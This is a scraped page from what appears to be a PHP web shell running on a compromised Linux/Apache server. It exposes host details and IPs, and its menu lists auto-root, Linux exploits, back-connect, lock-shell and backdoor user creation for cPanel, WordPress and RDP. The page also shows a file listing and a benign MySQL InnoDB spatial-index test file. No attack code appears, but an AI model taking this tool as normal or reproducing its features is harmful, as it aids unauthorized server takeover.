Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.219.65.132
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
innodb_gis /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
0.test
911
B
-rw-r--r--
1.test
49.62
KB
-rw-r--r--
alter_spatial_index.test
24.38
KB
-rw-r--r--
bug16236208.test
3.07
KB
-rw-r--r--
bug16266012.test
873
B
-rw-r--r--
bug17057168.test
1.15
KB
-rw-r--r--
check_rtree.test
781
B
-rw-r--r--
create_spatial_index.test
42.08
KB
-rw-r--r--
geometry.test
25.68
KB
-rw-r--r--
gis.test
48.77
KB
-rw-r--r--
gis_split_inf.test
9.81
KB
-rw-r--r--
gis_split_nan.test
19.28
KB
-rw-r--r--
kill_server.test
1.2
KB
-rw-r--r--
multi_pk.test
2.38
KB
-rw-r--r--
point_basic.test
34.66
KB
-rw-r--r--
point_big.test
14.58
KB
-rw-r--r--
precise.test
9.13
KB
-rw-r--r--
repeatable_spatial.test
6.75
KB
-rw-r--r--
rollback.test
226.33
KB
-rw-r--r--
row_format.test
749
B
-rw-r--r--
rt_precise.test
1.71
KB
-rw-r--r--
rtree.test
100.99
KB
-rw-r--r--
rtree_compress.test
1.84
KB
-rw-r--r--
rtree_compress2.test
1.25
KB
-rw-r--r--
rtree_concurrent_srch.test
13.26
KB
-rw-r--r--
rtree_concurrent_srch_2.test
1.52
KB
-rw-r--r--
rtree_create_inplace.test
2.01
KB
-rw-r--r--
rtree_debug.test
1.5
KB
-rw-r--r--
rtree_drop_index.test
140.96
KB
-rw-r--r--
rtree_estimate.test
2.51
KB
-rw-r--r--
rtree_multi_pk.test
4.79
KB
-rw-r--r--
rtree_old.test
46.97
KB
-rw-r--r--
rtree_purge.test
1.31
KB
-rw-r--r--
rtree_recovery.test
1.74
KB
-rw-r--r--
rtree_rollback1.test
1.54
KB
-rw-r--r--
rtree_rollback2.test
717
B
-rw-r--r--
rtree_search.test
3.76
KB
-rw-r--r--
rtree_split.test
4.19
KB
-rw-r--r--
rtree_undo.test
847
B
-rw-r--r--
types.test
2.58
KB
-rw-r--r--
update_root.test
862
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rt_precise.test
#***************************************************************** # This was a Myisam testcase, converted to InnoDB # Since Innodb does not support the spatial key, hence converted # Orginal name of the testcase : gis_rt_precise.test #***************************************************************** -- source include/have_geometry.inc SET default_storage_engine=InnoDB; # # test of rtree (using with spatial data) # --disable_warnings DROP TABLE IF EXISTS t1; --enable_warnings CREATE TABLE t1 ( fid INT NOT NULL AUTO_INCREMENT PRIMARY KEY, g GEOMETRY NOT NULL, KEY gis_key(g(5)) ) ENGINE=InnoDB; SHOW CREATE TABLE t1; --disable_query_log let $1=150; let $2=150; while ($1) { eval INSERT INTO t1 (g) VALUES (ST_GeomFromText('LineString($1 $1, $2 $2)')); dec $1; inc $2; } --enable_query_log SELECT count(*) FROM t1; ANALYZE TABLE t1; --replace_column 10 # EXPLAIN SELECT fid, ST_AsText(g) FROM t1 WHERE ST_Within(g, ST_GeomFromText('Polygon((140 140,160 140,160 160,140 140))')); SELECT fid, ST_AsText(g) FROM t1 WHERE ST_Within(g, ST_GeomFromText('Polygon((140 140,160 140,160 160,140 160,140 140))')) ORDER BY fid; DROP TABLE t1; CREATE TABLE t1 ( fid INT NOT NULL AUTO_INCREMENT PRIMARY KEY, g GEOMETRY NOT NULL ) ENGINE=InnoDB; --disable_query_log let $1=10; while ($1) { let $2=10; while ($2) { eval INSERT INTO t1 (g) VALUES (LineString(Point($1 * 10 - 9, $2 * 10 - 9), Point($1 * 10, $2 * 10))); dec $2; } dec $1; } --enable_query_log #--error 1464 ALTER TABLE t1 ADD SPATIAL KEY(g); SHOW CREATE TABLE t1; SELECT count(*) FROM t1; SELECT fid, ST_AsText(g) FROM t1 WHERE ST_Within(g, ST_GeomFromText('Polygon((40 40,60 40,60 60,40 40))')) ORDER BY fid; DROP TABLE t1; --echo End of 5.5 tests.
Close
